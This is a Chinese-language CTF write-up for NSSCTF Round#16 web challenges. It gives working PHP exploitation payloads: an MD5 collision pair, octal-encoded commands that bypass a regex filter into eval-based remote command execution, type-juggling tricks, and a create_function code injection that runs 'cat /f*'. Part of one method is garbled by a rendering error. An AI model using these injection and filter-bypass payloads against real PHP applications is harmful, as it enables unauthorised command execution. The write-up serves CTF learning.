nssctf-round#16web部分wp


hello ,今天带来的是最近的nssctf的round#16的web wp

[NSSRound#16 Basic]RCE但是没有完全RCE

第一关

思路


 if ((string)$_GET['md5_1'] !==

 (string)$_GET['md5_2'] && md5($_GET['md5_1'])

  === md5($_GET['md5_2']))

可以看到依旧是md5强比较 并且string() 函数导致我们无法使用数组直接绕过
可以使用md5碰撞 找到两个数据不同但是md5相同的值

EXP

md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&
md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
post参数 md5_3=1

第二关 3z_RC3.php

思路


<?php

error_reporting(0);

highlight_file(__FILE__);

$shell = $_POST['shell'];

$cmd = $_GET['cmd'];

if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){

   die("Hacker!!!!!!!!");

}

eval($shell($cmd));

方法一:
一般来讲思路就是直接用 s h e l l 当作 s y s t e m 主要是如何绕过 c m d 中的命令可以使用八进制编码 c m d = shell当作system 主要是如何绕过cmd中的命令 可以使用八进制编码 cmd= shell当作system主要是如何绕过cmd中的命令可以使用八进制编码cmd=(echo “\154\163”) ls命令
cmd=$(echo “\143\141\164\40\57\146\52”) cat /f*

方法二:
传递参数方法 shell=urldecode&123=cat /f*
cmd=system($_POST[‘123’]);

EXP

方法一:
cmd=KaTeX parse error: Undefined control sequence: \1 at position 8: (echo "\̲1̲54\163") ls命令 c…(echo “\143\141\164\40\57\146\52”) cat /f*

方法二:
shell=urldecode&123=cat /f*
cmd=system($_POST[‘123’]);


[NSSRound#16 Basic]了解过PHP特性吗

第一关思路

主要分为四个关 直到最后便可以通关

(1)


if (preg_match("/[0-9]/", $num)) {

    die("no!!");

}

if (intval($num)) {

    $checker_1 = TRUE;

intval绕过直接传递数组 num[]=1

(2)


    $ctype = strrev($_POST['ctype']);

    $is_num = strrev($_POST['is_num']);

    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {

        $checker_2 = TRUE;

php 弱比较 判定ctype必须全是字母 is_num全是数字
主要要取逆序 则数字可以取 807016042
字母可以取 OZDCKNQ

(3)


if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {

    if (!is_numeric($_514) && $_514 > 9999999) {

        $checker_3 = TRUE;

    }

依旧是php的弱比较需要知道php 科学计数法相关内容
114=9e9 9e9科学计数法大于114514
514不能全是数字那么根据若比较99999991a 是大于 9999999

(4)


if (is_array($arr4y)) {

    for ($i = 0; $i < count($arr4y); $i++) {

        if ($arr4y[$i] === "NSS") {

            die("no!");

        }

        $arr4y[$i] = intval($arr4y[$i]);

    }

    if (array_search("NSS", $arr4y) === 0) {

        $checker_4 = TRUE;

    }

主要是array_search函数的bug 它用的是弱比较搜索"NSS" 因此直接传一个array[]=0 就可以了可以直接绕过for循环语句 并且在array_search中0==“NSS” 得到0对应的序号就是第一个也是0 则0===0

第二关


<?php

error_reporting(0);

highlight_file(__FILE__);

$nss=$_POST['nss'];

$shell = $_POST['shell'];

if(isset($shell)&& isset($nss)){

    $nss_shell = create_function($shell,$nss);

}

nss=echo 0;}system(“cat /f*”);//&shell=
这一关主要就是一个creat_function函数的作用
产生的代码执行 ;}闭合掉函数的} 使得后面的system函数成为独立的代码

总结 :

难度整体不大主要就是要掌握php的一些特性

转载请说明出处内容投诉
CSS教程_站长资源网 » nssctf-round#16web部分wp

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买